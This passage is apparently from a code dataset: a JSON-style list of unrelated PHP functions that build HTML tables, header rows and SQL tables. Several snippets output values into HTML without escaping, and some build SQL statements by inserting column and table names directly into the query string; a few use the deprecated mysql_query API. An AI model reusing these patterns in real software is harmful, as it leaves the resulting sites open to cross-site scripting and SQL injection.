array());\n\t\t\t\n\t\t\t$new_direction = static::$direction;\n\t\t\t\n\t\t\tif(static::$sort_by == $sort_key)\n\t\t\t{\n\t\t\t\t$active_class_name = static::$template['col_class_active'].' '.static::$template['col_class_active'].'_'.$new_direction;\n\t\t\t\tif(isset($col_attr['class']))\n\t\t\t\t{\n\t\t\t\t\t$col_attr['class'] .= ' '.$active_class_name;\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$col_attr['class'] = $active_class_name;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$new_direction = (static::$direction == 'asc' ? 'desc' : 'asc');\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif(is_array($column) && (!isset($column[1]) || isset($column[1]) && $column[1] !== false)){\n\t\t\t\t\n\t\t\t\t$url \t\t\t= rtrim(static::$base_url, '/').(static::$current_page ? '/'.static::$current_page : '');\n\t\t\t\t$url \t\t\t.= '/'.$sort_key.static::$uri_delimiter.$new_direction;\n\t\t\t\t\n\t\t\t\t$cell_content \t= rtrim(static::$template['link_start'], '> ').' href=\"'.$url.'\">';\n\t\t\t\t$cell_content \t.= $column[0];\n\t\t\t\t$cell_content \t.= static::$template['link_end'];\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\tif(is_array($column))\n\t\t\t\t{\n\t\t\t\t\t$column = $column[0];\n\t\t\t\t}\n\t\t\t\t$cell_content = static::$template['nolink_start'].$column.static::$template['nolink_end'];\t\n\t\t\t}\n\t\t\t\n\t\t\t$table_head .= html_tag(static::$template['col_tag'], $col_attr, $cell_content);\n\t\t\t\n\t\t}\n\t\t\n\t\t$table_head .= '</tr>';\n\t\t$table_head .= static::$template['wrapper_end'];\n\n\t\treturn $table_head;\n\t}", "abstract protected function getRowsHeader(): array;", "function html_generate_row($row, $prepend, $heading=false) {\n $html = '<tr>';\n if ($prepend !== null) {\n $html .= '<th>'.$prepend.'</th>';\n }\n for ($i=0; $i <= count($row)-1; $i++) {\n if (!$heading) {\n $html .= '<td>'.round($row[$i], 1).'</td>';\n } else {\n $html .= '<th>'.round($row[$i], 1).'</th>';\n }\n }\n $html .= '</tr>';\n return $html;\n}", "protected function TitleTable() {\n\treturn $this->GetConnection()->MakeTableWrapper(KS_CLASS_CATALOG_TITLES);\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function write_table_head()//scrie capul de tabel pentru perioadele de vacanta\r\n{\r\n\t$output = \"\";\r\n\tadd($output,'<table width=\"500px\" cellpadding=\"1\" cellspacing=\"1\" class=\"special\">');\r\n\tadd($output,'<tr class=\"tr_head\"><td>Nr</td><td>Data inceput</td><td>Data sfarsit</td></tr>');\r\n\t\r\n\treturn $output;\r\n}", "public function getTableRowNames()\n \t{\n \t\treturn array('title', 'author', 'publishDate', 'client', 'workType', 'briefDescription', 'description', 'caseStudyID', 'isPrivate', 'commentsAllowed', 'screenshots', 'prevImageURL', 'finalURL');\n \t}", "public function tableHeaderRow($in){\n $out = '';\n $cols = array_keys($in);\n foreach($cols as $k){\n $out .= '<td>'.$k.'</td>';\n }\n return('<tr>'.$out.'</tr>');\n }", "function rallies_table_row_header($hdrs)\r\n{\r\n global $MYKEYWORDS;\r\n\r\n\t$OK = ($_SESSION['ACCESSLEVEL'] >= $GLOBALS['ACCESSLEVEL_READONLY']);\r\n\r\n\t$res = '';\r\n\t$hdrcols = explode(';',$hdrs);\r\n\tforeach ($hdrcols as $col)\r\n\t\t$res .= \"<th>\".$col.\"</th>\";\r\n\r\n return $res;\r\n}", "function buildTempTableFromData($uniqueId){\n\t\t//require_once($_SERVER['DOCUMENT_ROOT'] .\"/inc/php/classes/sql_safe.php\" );\n\t\t//Grab first row\n\t\t if(!isset($this->data[0])){\n\t\t \tthrow new Exception(\"Bad Data Format. Foxpro report needs an array of arrays\");\n\t\t }\n\t\t$firstRow = $this->data[0];\n\t\t$columns = array_keys($firstRow);\n\n\t\t//See the excel sheet in project files for an explanation of this logic.\n\t\t$paramLimit = 1500; //sqlsrv max escaped params is 2100. driver will throw an error if you exceed 2100.\n\t\t$rowCount = count($this->data);\n\t\t$columnCount = count($this->data[0]);\n\t\tif($columnCount > $paramLimit){\n\t\t\tthrow new Exception(\"Cannot insert more columns than the parameter limit! Column Count = {$columnCount}. Parameter Limit = {$paramLimit}.\");\n\t\t}\n\t\t$paramTotal = $columnCount*$rowCount;\n\t\t$groupsNeeded = ceil($paramTotal/$paramLimit);\n\t\t$chunkSize = floor($rowCount/$groupsNeeded);\n\t\t$chunks = array_chunk($this->data,$chunkSize);\n\n\t\t$tableName = \"tmp_foxpro_autogen_\".$uniqueId;\n\n\t\t$columnSqlArray = array();\n\t\tforeach ($columns as $column) {\n\t\t\t$columnSqlArray[] = \"[{$column}] [varchar](MAX) NULL\";\n\t\t}\n\t\t$tableNameQuery = \"FWE_DEV..[{$tableName}]\";\n\t\t$createQuery = \"CREATE TABLE {$tableNameQuery} (\" . implode(\",\", $columnSqlArray) . \")\";\n\t\t$this->mssqlHelperInstance->query($createQuery);\n\n\t\t$dbClass = get_class($this->mssqlHelperInstance);\n\t\tif ($dbClass == 'mssql_helper') {\n\t\t\trequire_once($_SERVER['DOCUMENT_ROOT'] . '/inc/php/classes/sqlsrv_helper.php');\n\t\t\t$insertInstance = new sqlsrv_helper('m2m');\n\t\t} else {\n\t\t\t$insertInstance = $this->mssqlHelperInstance;\n\t\t}\n\n\t\tforeach($chunks as $chunk) {\n\n\t\t\t$insertSqlArray = array();\n\t\t\t$queryValues = array();\n\t\t\tforeach ($chunk as $row) {\n\t\t\t\t$values = array_values($row);\n\t\t\t\t$rowArray = array();\n\t\t\t\tforeach ($values as $value) {\n\t\t\t\t\t$rowArray[] = \"?\";\n\t\t\t\t\t$queryValues[] = (string)$value;\n\t\t\t\t}\n\t\t\t\t$insertSqlArray[] = \"(\" . implode(\",\", $rowArray) . \")\";\n\t\t\t}\n\t\t\t$insertQuery = \"INSERT INTO {$tableNameQuery} (\" . implode(\",\", $columns) . \") VALUES \" . implode(\",\", $insertSqlArray) . \"\";\n\n\t\t\t$insertInstance->query($insertQuery, $queryValues);\n\t\t}\n\t\t$this->tableName = $tableNameQuery;\n\t}", "public function createTable()\n {\n // Create out table\n // First line of the file.\n $fh = $this->getInputFileHandle();\n rewind($fh);\n $fl = fgets($fh);\n // Trim and htmlentities the first line of the file to make column names\n $cols = array_map('trim', array_map('htmlentities', str_getcsv($fl, $this->vars['delimiter'], $this->vars['quotechar'], $this->vars['escapechar'])));\n // array to hold definitions\n $defs = array();\n // if our table *doesn't* have headers, give generic names\n if (!$this->vars['hh']) {\n $oc = $cols;\n $c = count($cols);\n $cols = array();\n for ($i = 0; $i < $c; $i++) {\n $col = \" `Column_\" . $i . \"` \";\n $col .= is_numeric($oc[$i]) ? \"DECIMAL(12,6) DEFAULT NULL\" :\n \"VARCHAR(512) CHARACTER SET \" . $this->vars['characterSet'] . \" COLLATE \" . $this->vars['collation'] . \" DEFAULT NULL\";\n $cols[] = $col;\n }\n } else {\n // if our table *does* have headers\n $file = new SplFileObject($this->vars['ifn']);\n $headers = $file->fgetcsv($this->vars['delimiter'], $this->vars['quotechar'], $this->vars['escapechar']);\n\n // number of columns to get for guessing types\n $n = min(10, $this->numLines());\n $firstNCols = array();\n for($i = 0; $i < $n; $i++){\n $firstNCols[$i] = $file->fgetcsv($this->vars['delimiter'], $this->vars['quotechar'], $this->vars['escapechar']);\n }\n $sl = $firstNCols[0];\n if(count($sl) !== count($cols)){\n $baseurl = explode('?', $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'])[0];\n trigger_error(\"Number of columns inconsistent throughout file. For more information, see the error documentation.\");\n exit(1);\n }\n\n // guess the column types from the first n rows of info\n $colTypes = array_fill(0,count($cols),null);\n for($i = 0; $i < $n; $i++){\n foreach ($cols as $j => $col) {\n if(!isset($firstNCols[$i])){\n trigger_error('Why don\\'t we have row ' . $i . '??');\n }\n if(!isset($firstNCols[$i][$j])){\n if(count($firstNCols[$i]) !== count($cols)){\n trigger_error('Column count is inconsistent throughout the file. If you\\'re sure you have the right amount of columns, please check the delimiter options.');\n }\n trigger_error('Why don\\'t we have column ' . $j . '??');\n }\n $colTypes[$j] = $this->guessType(\n $firstNCols[$i][$j],\n $colTypes[$j]\n );\n }\n }\n\n foreach($colTypes as $i => &$type){\n $type = (is_null($type)) ? 'VARCHAR(512) CHARACTER SET ' . $this->vars['characterSet'] . ' COLLATE ' . $this->vars['collation'] . '' : $type;\n }\n\n /*echo \"<pre>\";\n print_r(array_combine($cols,$colTypes));\n echo \"</pre>\";\n exit();*/\n\n // We can pretty much only guess two data types from one row of information\n foreach ($cols as $i => &$col) {\n $cname = $col;\n $col = ' `' . $cname . '` ';\n $col .= $colTypes[$i];\n $col .= \" COMMENT '$cname'\";\n }\n }\n // Always have an id column!\n array_unshift($cols, ' `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT \\'id\\'');\n $SQL = \"CREATE TABLE IF NOT EXISTS `{$this->vars['db']['db']}`.`{$this->vars['db']['table']}` (\\n\";\n $SQL .= implode(\",\\n\", $cols);\n $SQL .= \"\\n) ENGINE=InnoDB DEFAULT CHARSET=\".$this->vars['characterSet'].\" CHARSET=\".$this->vars['characterSet'].\" COLLATE \".$this->vars['collation'].\";\";\n $this->executeSql($SQL);\n\n return $this;\n }", "public function buildHead(Table $table): Table {\n if (!empty($this->theadData)) {\n $head = new Thead();\n $head->appendHeaderRow($this->theadData);\n $table->setThead($head);\n }\n return $table;\n }", "function CreateTemporaryTable($tableName, $tableDefinition)\n{\n $stmt = SQL_CREATE_TEMPORARY_TABLE . \" $tableName ($tableDefinition);\";\n return mysql_query($stmt);\n}", "private function get_row($rows) {\n\t\t$head = null;\n\n\t\tforeach ($rows as $key=>$val) {\n\n\t\t\t/*\n\t\t\t * check type rows\n\t\t\t */\n\t\t\tswitch ($val['type']) {\n\t\t\t\tcase 'heading': $element = 'th'; break;\n\t\t\t\tcase 'body': $element = 'td'; break;\n\t\t\t\tcase 'footer': $element = 'th'; break;\n\t\t\t\tdefault : $element = 'th'; break;\n\t\t\t}\n\n\t\t\t$head .= $this->set_template()->tr_open;\n\t\t\tforeach ($val['datas'] as $k=>$v) {\n\t\t\t\tif (is_array($v)) {\n\t\t\t\t\t$head .= '<'.$element;\n\t\t\t\t\t$head .= $this->attributes($v['attributes']).'>';\n\t\t\t\t\t$head .= !empty($v['content']) ? $v['content'] : $this->empty;\n\t\t\t\t\t$head .= '</'.$element.'>';\n\t\t\t\t} else {\n\t\t\t\t\t$head .= '<'.$element.'>';\n\t\t\t\t\t$head .= !empty($v) ? $v : $this->empty;\n\t\t\t\t\t$head .= '</'.$element.'>';\n\t\t\t\t}\n\t\t\t}\n\t\t\t$head .= $this->set_template()->tr_close;\n\t\t}\n\n\t\treturn $head;\n\t}", "abstract public function closeTableHead();", "public function build_table()\n {\n if (count($this->properties) > 0)\n {\n foreach ($this->properties as $property => $values)\n {\n $contents = array();\n $contents[] = $property;\n \n if (! is_array($values))\n {\n $values = array($values);\n }\n \n if (count($values) > 0)\n {\n foreach ($values as $value)\n {\n $contents[] = $value;\n }\n }\n \n $this->addRow($contents);\n }\n \n $this->setColAttributes(0, array('class' => 'header'));\n }\n else\n {\n $contents = array();\n $contents[] = Translation::get('NoResults', null, Utilities::COMMON_LIBRARIES);\n $row = $this->addRow($contents);\n $this->setCellAttributes($row, 0, 'style=\"font-style: italic;text-align:center;\" colspan=2');\n }\n }", "public function fullTableRow($in){\n $out = '';\n $cols = array_keys($in);\n foreach($in as $k => $v){\n if(!isset($v)) $v = 'n/a';\n $out .= '<td><a title=\"'.$k.'\">'.$v.'</a></td>';\n }\n return('<tr>'.$out.'</tr>');\n }", "private function _loadDataToTemporaryTable(){\n\n }", "private function loadHeaderTable($name) {\n\t$template = $this->loadTemplate(\"templates/controls/grid/templateListHeader.txt\");\n\t$template = $this->replaceTemplateString($template, \"[scaffold-name]\", $name);\n\treturn $template;\n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "function print_pure_table($query_result, $headers) {\n echo \"<table class=\\\"pure-table pure-table-bordered\\\">\";\n if ($headers) {\n echo $headers;\n } else {\n echo \"<thead><tr>\";\n for ($i = 0; $i < pg_num_fields($query_result); $i++) {\n $fieldname = pg_field_name($query_result, $i);\n echo \"<th>$fieldname</th>\";\n }\n echo \"</tr></thead>\";\n }\n \n echo \"<tbody>\";\n while ($row = pg_fetch_row($query_result)) {\n echo \"<tr>\";\n $num = pg_num_fields($query_result);\n for ($i = 0; $i < $num; $i++) {\n echo \"<td>$row[$i]</td>\";\n }\n echo \"</tr>\";\n }\n echo \"</tbody>\";\n echo \"</table>\";\n }", "public function getTableRowNames()\n \t{\n \t\treturn array('title', 'author', 'date', 'email', 'website', 'comment', 'relevantSection', 'relevantItemId', 'isApproved', 'isPrivate', 'isAdminComment');\n \t}", "protected function startTable() {}", "private function _createTables()\r\n {\r\n return true;\r\n }", "private function extractRows()\n {\n $this->setHeader($this->temp);\n $this->setRows($this->temp);\n }", "function tablethead_open() {\n $this->doc .= DOKU_TAB.'<thead>'.DOKU_LF;\n }", "function clsThead($aConfiguration=array())\r\n\t{\r\n\t\tclsTableRowContainer::clsTableRowContainer('thead', $aConfiguration);\r\n\t}", "function get_userTableHeader(){\n $table_head = array();\n $table_head[0] = \"Id\";\n $table_head[1] = \"Username\";\n $table_head[2] = \"Password\";\n $table_head[3] = \"Email\";\n $table_head[4] = \"Group\";\n return $table_head;\n}", "function constructTableHead() {\n\n $header = '<tr><th>Country</th>';\n if (isset($_GET['pop'])) {\n $header .= '<th>Total Population</th>';\n }\n if (isset($_GET['birth'])) {\n $header .= '<th>Birth Rate</th>';\n }\n if (isset($_GET['death'])) {\n $header .= '<th>Death Rate</th>';\n }\n\n $header .= '</tr>';\n return $header;\n }", "public function getJobTitleToTable() {\n return $this->db->selectObjList('SELECT jobtitle_id, shortname, longname, date_create '\n . 'FROM jobtitle ORDER BY shortname DESC;', $array = array(), \"Jobtitle\");\n }", "function it_should_make_the_example_table()\n {\n \t$table = '| Tables | Are | Cool |' . PHP_EOL . \n\t\t\t\t '|----------|:-------------:|------:|' . PHP_EOL .\n\t\t\t\t '| col 1 is | left-aligned | $1600 |' . PHP_EOL .\n\t\t\t\t '| col 2 is | centered | $12 |' . PHP_EOL .\n\t\t\t\t '| col 3 is | right-aligned | $1 |' . PHP_EOL;\n\n \t$this->headers(['Tables','Are','Cool']) //headers\n\t\t\t->align(['L','C','R']) // set column alignment\n\t\t\t->rows([ // add multiple rows at once\n\t\t\t\t['col 1 is', 'left-aligned', '$1600'],\n\t\t\t\t['col 2 is', 'centered', '$12'],\n\t\t\t])\n\t\t\t->row(['col 3 is', 'right-aligned', '$1'])\n\t\t\t->render()\n\t\t\t->shouldReturn($table);\n }", "public function makeTable($headings, $content);", "private function getTempTableName()\n\t{\n\t\treturn 'temp_moveDelinquentToCollectionsRework_application';\n\t}", "function createTable($array,$summary,$caption,$id='',$class='') {\n\tif(!is_array($array) || empty($summary) || empty($caption)) return false;\n\t\n\t$thead_text = '';\n\t$tbody_text = '';\n\n\t$header_total = count($array['header']);\n\tforeach($array['header'] as $key => $header) {\n\t\tif(!is_array($header)) $header = array('text' => $header);\n\t\t$thead_text .= '<th scope=\"col\"'.addAttributes(@$header['title'],$header['id'],@$header['class']).'>'.formatText($header['text']).'</th>'.\"\\n\";\n\t}\n\n\t$i=0;\n\tforeach($array['rows'] as $key => $row_array) {\n\t\t$tbody_row = '';\n\t\tif(empty($row_array['class'])) $row_array['class'] = array();\n\t\telseif(!is_array($row_array['class'])) $row_array['class'] = array($row_array['class']);\n\t\tif(!isEven($i)) $row_array['class'][] = 'odd';\n\n\t\tif(count($row_array['value'])!=$header_total) continue; // if the number of rows don't match header rows...\n\t\tforeach($row_array['value'] as $key => $row) {\n\t\t\tif(!is_array($row)) $row = array('text' => $row);\n\t\t\t$tbody_row .= '<td headers=\"'.$array['header'][$key]['id'].'\"'.addAttributes('',@$row['id'],@$row['class']).'>'.$row['text'].'</td>'.\"\\n\";\n\t\t}\n\t\t$tbody_text .= '<tr'.addAttributes('',@$row_array['id'],@$row_array['class']).'>'.\"\\n\".$tbody_row.'</tr>'.\"\\n\";\n\t\t$i++;\n\t}\n\tif(empty($tbody_text)) return false;\n\t\n\t$table = '<table summary=\"'.formatText($summary).'\"'.addAttributes('',$id,$class).'>\n\t\t<caption>'.formatText($caption).'</caption>\n\t\t<thead>'.\"\\n\".'<tr>'.\"\\n\".$thead_text.'</tr>'.\"\\n\".'</thead>\n\t\t<tbody>'.\"\\n\".$tbody_text.'</tbody>\n\t</table>'.\"\\n\";\n\t\n\treturn $table;\n}", "abstract function getheadings();", "private function createHeaders($headers) {\r\n $html = '<tr class=\"ctable-headertag\">';\r\n foreach ($headers as $index => $header) {\r\n $html .= '<th>' . $header . '</th>';\r\n }\r\n $html .= '</tr>';\r\n return $html;\r\n\r\n }", "function create_pool_header()\n{\n $header =\n \"<thead>\n <tr>\n <th scope='col' class='rounded-company'>Pool</th>\n <th scope='col' class='rounded-q1'>Priority</th>\n <th scope='col' class='rounded-q1' colspan='2'>URL</th>\n <th scope='col' class='rounded-q1'>Gets</th>\n <th scope='col' class='rounded-q1'>Accepts</th>\n <th scope='col' class='rounded-q1'>Rejects</th>\n <th scope='col' class='rounded-q1'>Discards</th>\n <th scope='col' class='rounded-q1'>Stales</th>\n <th scope='col' class='rounded-q1'>Get Fails</th>\n <th scope='col' class='rounded-q1'>Rem fails</th>\n </tr>\n </thead>\";\n\n return $header;\n}", "function createTable(array $results = array())\n{\n if (empty($results)) {\n return '<table><tr><td>Empty Result Set</td></tr></table>';\n }\n\n // dynamically create the header information from the keys\n // of the result array from mysql\n $table = '<table>';\n $keys = array_keys(reset($results));\n $table.='<thead><tr>';\n foreach ($keys as $key) {\n $table.='<th><mark>&nbsp;'.$key.'&nbsp;</mark></th>';\n }\n $table.='</tr></thead>';\n\n // populate the main table body\n $table.='<tbody>';\n foreach ($results as $result) {\n $table.='<tr>';\n foreach ($result as $val) {\n $table.='<td><mark>&nbsp;'.$val.'&nbsp;</mark></td>';\n }\n $table.='</tr>';\n }\n $table.='</tbody></table>';\n return $table;\n}", "private function createTables() {\n \n foreach($this->G->tableInfo as $table) {\n $this->tables[$table[\"title\"]] = new IdaTable($table[\"title\"]);\n } \n }", "function make_table($table) {\n return print_table($table, true);\n}", "protected function RetCreateTable() {\n\n if (!isset($this->\n tables[0])) {\n\n throw new \\Exception(\"Error: Table not properly provided in QueryHelper.\");\n }\n\n $return = \"CREATE\";\n\n if ($this->\n temporary == 'T' ||\n $this->\n temporary == 'G') {\n\n $return .= \" TEMPORARY\";\n }\n\n $return .= \" TABLE\";\n\n if (isset($this->\n addArgs['notexists']) &&\n $this->\n addArgs['notexists'] === true) {\n\n $return .= \" IF NOT EXISTS\";\n }\n\n $columnsDefn = [];\n $primaryKeys = [];\n $indexes = [];\n $primaryKeysDefn = \"\";\n $indexesDefn = \"\";\n\n $indexesArr = $this->\n indexes;\n\n foreach ($this->\n columns as $column => $parms) {\n\n $parms['type'] = strtoupper($parms['type']);\n\n if (!isset($parms['type']) ||\n !is_string($parms['type']) ||\n !$parms['type']) {\n\n $parms['type'] = 'VARCHAR';\n\n $parms['length'] = !isset($parms['length']) ||\n !is_int($parms['length']) ||\n $parms['length'] < 1 ? 1 : $parms['length'];\n }\n\n $type = $parms['type'];\n\n if (isset($parms['length']) &&\n is_int($parms['length']) &&\n $parms['length'] > 0) {\n\n $type .= \"({$parms['length']})\";\n }\n\n $columnsDefn[$column] = \"`{$column}` {$type}\";\n\n if (isset($parms['isnull']) &&\n $parms['isnull'] === false) {\n\n $columnsDefn[$column] .= \" NOT null\";\n }\n\n if (isset($parms['autoincrement']) &&\n $parms['autoincrement'] === true) {\n\n $columnsDefn[$column] .= \" AUTO_INCREMENT\";\n }\n\n if (isset($parms['default']) &&\n $parms['default']) {\n\n if (isset($parms['default']['function']) &&\n $parms['default']['function']) {\n\n $columnsDefn[$column] .= \" DEFAULT {$parms['default']['function']}\";\n } else if (is_string($parms['default'])) {\n\n $columnsDefn[$column] .= \" DEFAULT '{$parms['default']}'\";\n }\n }\n\n if (isset($parms['primary']) &&\n $parms['primary'] === true) {\n\n $primaryKeys[] = $column;\n }\n\n if (isset($parms['unique']) &&\n $parms['unique'] === true) {\n\n $columnsDefn[$column] .= \" UNIQUE\";\n }\n\n if (isset($parms['index']) &&\n $parms['index'] === true) {\n\n $columnsDefn[$column] .= \" INDEX\";\n }\n\n if (isset($parms['referencetable']) &&\n isset($parms['referencecolumn']) &&\n is_string($parms['referencetable']) &&\n is_string($parms['referencecolumn'])) {\n\n $columnsDefn[$column] .= \" REFERENCES `{$parms['referencetable']}` (`{$parms['referencecolumn']}`)\";\n }\n\n if (isset($parms['check']) &&\n is_string($parms['check'])) {\n\n $indexesArr[] = array(\n 'indextype' => 'CH',\n 'check' => $parms['check']\n );\n }\n }\n\n if (count($primaryKeys) == 1) {\n\n $columnsDefn[$primaryKeys[0]] .= \" PRIMARY KEY\";\n } else if (count($primaryKeys) > 1) {\n\n $primaryKeysDefn = \", PRIMARY KEY (`\" . implode($primaryKeys, \"`, `\") . \"`)\";\n }\n\n foreach ($indexesArr as $index => $parms) {\n\n $indexDefn = \"\";\n $indexName = \"\";\n\n if (is_string($index)) {\n\n $indexName = \" `{$index}`\";\n }\n\n if (!isset($parms['indextype'])) {\n\n $parms['indextype'] = 'I';\n }\n\n $parms['indextype'] = strtoupper($parms['indextype']);\n\n switch ($parms['indextype']) {\n default:\n case 'I':\n $indexDefn .= \"INDEX{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'K':\n $indexDefn .= \"KEY{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'U':\n $indexDefn .= \"UNIQUE{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'UK':\n $indexDefn .= \"UNIQUE KEY{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'UI':\n $indexDefn .= \"UNIQUE INDEX{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'FK':\n if (is_string($index)) {\n\n $indexDefn .= \"CONSTRAINT{$indexName} FOREIGN KEY (`\" . implode($parms['columns'], \"`, `\") . \"`) REFERENCES `{$parms['referencetable']}` (`\" . implode($parms['referencecolumns'], \"`, `\") . \"`)\";\n } else {\n\n $indexDefn .= \"FOREIGN KEY (`\" . implode($parms['columns'], \"`, `\") . \"`) REFERENCES `{$parms['referencetable']}` (`\" . implode($parms['referencecolumns'], \"`, `\") . \"`)\";\n }\n break;\n case 'FT':\n $indexDefn .= \"FULLTEXT{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'FTK':\n $indexDefn .= \"FULLTEXT KEY{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'FTI':\n $indexDefn .= \"FULLTEXT INDEX{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'S':\n $indexDefn .= \"SPATIAL{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'SK':\n $indexDefn .= \"SPATIAL KEY{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'SI':\n $indexDefn .= \"SPATIAL INDEX{$indexName} (`\" . implode($parms['columns'], \"`, `\") . \"`)\";\n break;\n case 'CH':\n $indexDefn .= \"CHECK{$indexName} {$parms['check']}\";\n break;\n }\n\n $indexes[] = $indexDefn;\n }\n\n if (count($indexes)) {\n $indexesDefn = \", \" . implode($indexes, \", \");\n }\n\n $return .= \" `{$this->\n tables[0]}` (\" . implode($columnsDefn, \", \") . \"{$primaryKeysDefn}{$indexesDefn})\";\n\n return $return . \";\";\n }", "function create_table($id, $data, $headers=[], $caption = \"\") {\n $table = \"<table id=\\\"$id\\\"><caption>$caption</caption>\";\n\n if (sizeof($headers) > 0) {\n $table .= add_row(create_headers($headers));\n }\n\n foreach($data as $vals) {\n $table .= add_row(create_row($vals));\n }\n\n $table .= \"</table>\";\n return $table;\n }", "private function _generateBlankRow(){\n\n $blankRow = array();\n foreach ($this->_fileHeader as $value){\n\n $blankRow[strtolower(str_replace(' ', '-', $value))] = '';\n }\n\n return $blankRow;\n }", "function MysqlResultsTable ($mysql_results, $table_id='') {\n while ($myrow = mysql_fetch_assoc($mysql_results)) {\n if (! ($headers))\n $headers = array_keys($myrow);\n $rows .= \" <tr>\\n\";\n foreach ($headers as $k)\n $rows .= \" <td class=$k>$myrow[$k]</td>\\n\";\n $rows .= \" </tr>\\n\";\n } // end while myrow\n $header = join(\"</th><th>\",$headers);\n $header = \"<tr><th>$header</th></tr>\\n\";\n if ($table_id != '') { $id = ' id=\"'.$table_id.'\"'; }\n $rows = \"<table$id>$header$rows</table>\\n\";\n return ($rows);\n}", "function BeginIncidentTable() {\n $headings = array(\"Year\", \"Section\", \"Description\", \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\", \"Count\");\n echo \"<table class='sortable' align='center' cellpadding='5' border=1>\";\n echo \"<tr>\";\n foreach ($headings as $heading) {\n echo \"<th>$heading</th>\";\n }\n echo \"</tr>\";\n}", "public function test_table()\n {\n $this->CT->execute('utility:table');\n\n $this->assertContains('Header1', $this->CT->getOutput());\n $this->assertContains('Header2', $this->CT->getOutput());\n }", "public function getTableHeader()\n {\n $tableHead = null;\n $tableHead .= \"<thead>\";\n $tableHead .= \"<tr>\";\n $tableHead .= \"<th>Vecka</th>\";\n $tableHead .= \"<th>Måndag</th>\";\n $tableHead .= \"<th>Tisdag</th>\";\n $tableHead .= \"<th>Onsdag</th>\";\n $tableHead .= \"<th>Torsdag</th>\";\n $tableHead .= \"<th>Fredag</th>\";\n $tableHead .= \"<th>Lördag</th>\";\n $tableHead .= \"<th>Söndag</th>\";\n $tableHead .= \"</tr>\";\n $tableHead .= \"</thead>\";\n\n return $tableHead;\n }", "public static function createTables()\n\t{\n\t\treturn (self::createContentTable());\n\t}", "function tablethead_close() {\n $this->doc .= DOKU_TAB.'</thead>'.DOKU_LF;\n }", "function FancyTable($header, $data)\n{\n $this->SetFillColor(255,0,0);\n $this->SetTextColor(255);\n $this->SetDrawColor(128,0,0);\n $this->SetLineWidth(.3);\n $this->SetFont('','B');\n // Header\n $w = array(40, 35, 40, 45);\n for($i=0;$i<count($header);$i++)\n $this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n $this->Ln();\n // Color and font restoration\n $this->SetFillColor(224,235,255);\n $this->SetTextColor(0);\n $this->SetFont('');\n // Data\n $fill = false;\n foreach($data as $row)\n {\n $this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n $this->Cell($w[1],6,$row[1],'LR',0,'L',$fill);\n $this->Cell($w[2],6,number_format($row[2]),'LR',0,'R',$fill);\n $this->Cell($w[3],6,number_format($row[3]),'LR',0,'R',$fill);\n $this->Ln();\n $fill = !$fill;\n }\n // Closing line\n $this->Cell(array_sum($w),0,'','T');\n}", "function create_table($log)\n {\n $colOrder = array('title','artist','time','count');\n $excludeCols = array('channel','','albumart','keep');\n\n //Select data for table\n list($nrows, $sliced) = select_table_rows($log);\n \n //Create table\n echo '<center><table>';\n \n echo \"\\n <tr>\";\n \n //create header row\n foreach($colOrder as $val) \n {\n echo \"\\n <th>\".$val.\"</th>\";\n }\n echo \"\\n </tr>\";\n\n //create data rows\n for ($i=0; $i <= $nrows; $i++) \n {\n $orderedRow = array_replace(array_flip($colOrder), $sliced[$i]);\n echo \"\\n <tr>\";\n foreach ($orderedRow as $key => $value) \n {\n if (!in_array($key, $excludeCols)) \n {\n echo \"\\n <td>\";\n switch ($key)\n {\n case \"albumart\":\n echo '<a href=\"'.$value.'\"><img src=\"'.$value.'\" alt=\"Album Art\" style=\"width:60px;height:60px;border:0;\"></a>'; \n case \"time\":\n echo date(\"D j M Y\",$value).\"<br>\".date(\"G:i:s\",$value);\n break;\n default:\n echo $value;\n } \n echo \"</td>\";\n }\n } \n echo \"\\n </tr>\";\n }\n echo \"</table></center>\";\n }", "private function getHeaders(){\n\t\t$thead=\"\";\n\t\tif(!empty($this->headers)){\n\t\t\t$thead=\"<thead>\";\n\t\t\t$thead.=\"<tr>\";\n\t\t\t$headerNumber=0;\n\t\t\t$fieldNumber=0;\n\t\t\t$count=count($this->headers)-1;\n\t\t\t\n\t\t\t//Busca si hay columnas anteriores a agregar\n\t\t\tif(!empty($this->prependedCols)){\n\t\t\t\tforeach($this->prependedCols as 